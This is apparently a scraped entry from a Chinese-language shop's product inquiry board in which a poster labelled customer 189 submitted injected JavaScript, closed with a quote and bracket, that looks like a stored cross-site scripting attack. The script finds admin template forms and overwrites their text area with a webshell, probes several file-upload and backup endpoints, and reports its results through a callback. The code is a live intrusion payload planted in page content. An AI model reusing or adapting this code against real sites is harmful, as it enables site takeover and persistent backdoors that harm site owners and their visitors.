| 2026/07/30 17:54:35 |
商品諮詢 |
|
|
客戶189: var action=formMatch?formMatch[1]:u;
if(!action.startsWith('http'))action=A+'/'+action.replace(/^//,'');
var inputs=[];var m;var re=/]*name=['"]([^'"]*)['"]/gi;
while((m=re.exec(t))!==null)inputs.push(m[1]);
var textareas=[];re=/]*name=['"]([^'"]*)['"]/gi;
while((m=re.exec(t))!==null)textareas.push(m[1]);
B('template_form_found',{action:action,inputs:inputs,textareas:textareas});
// Build POST data — overwrite the textarea with webshell
var postData=inputs.map(function(n){return n+'=1'}).join('&');
if(textareas.length>0)postData+='&'+textareas[0]+'='+encodeURIComponent(W);
P(action,postData,function(rt,rs){
B('template_write_result',{status:rs,len:rt?rt.length:0,resp:rt?rt.substring(0,200):''});
});
}
}
});
});
// Step 3: Try file upload endpoints
var ulEndpoints=[A+'/index.php?html=upload',A+'/index.php?html=file_manager',A+'/index.php?html=file',A+'/up_file.php',A+'/ckfinder/ckfinder.html'];
ulEndpoints.forEach(function(u){
F(u,function(t,s){
if(s===200&&t){
var hasFileInput=t.indexOf('type="file"')>-1||t.indexOf('type=file')>-1;
var hasUpload=t.indexOf('upload')>-1||t.indexOf('上傳')>-1;
B('upload_probe',{url:u,status:s,hasFile:hasFileInput,hasUpload:hasUpload});
}
});
});
// Step 4: Direct file write via backup/restore or import
F(A+'/index.php?html=backup',function(t,s){
if(s===200&&t)B('backup_page',{len:t.length});
});
}
})();
"> |
|
|
1
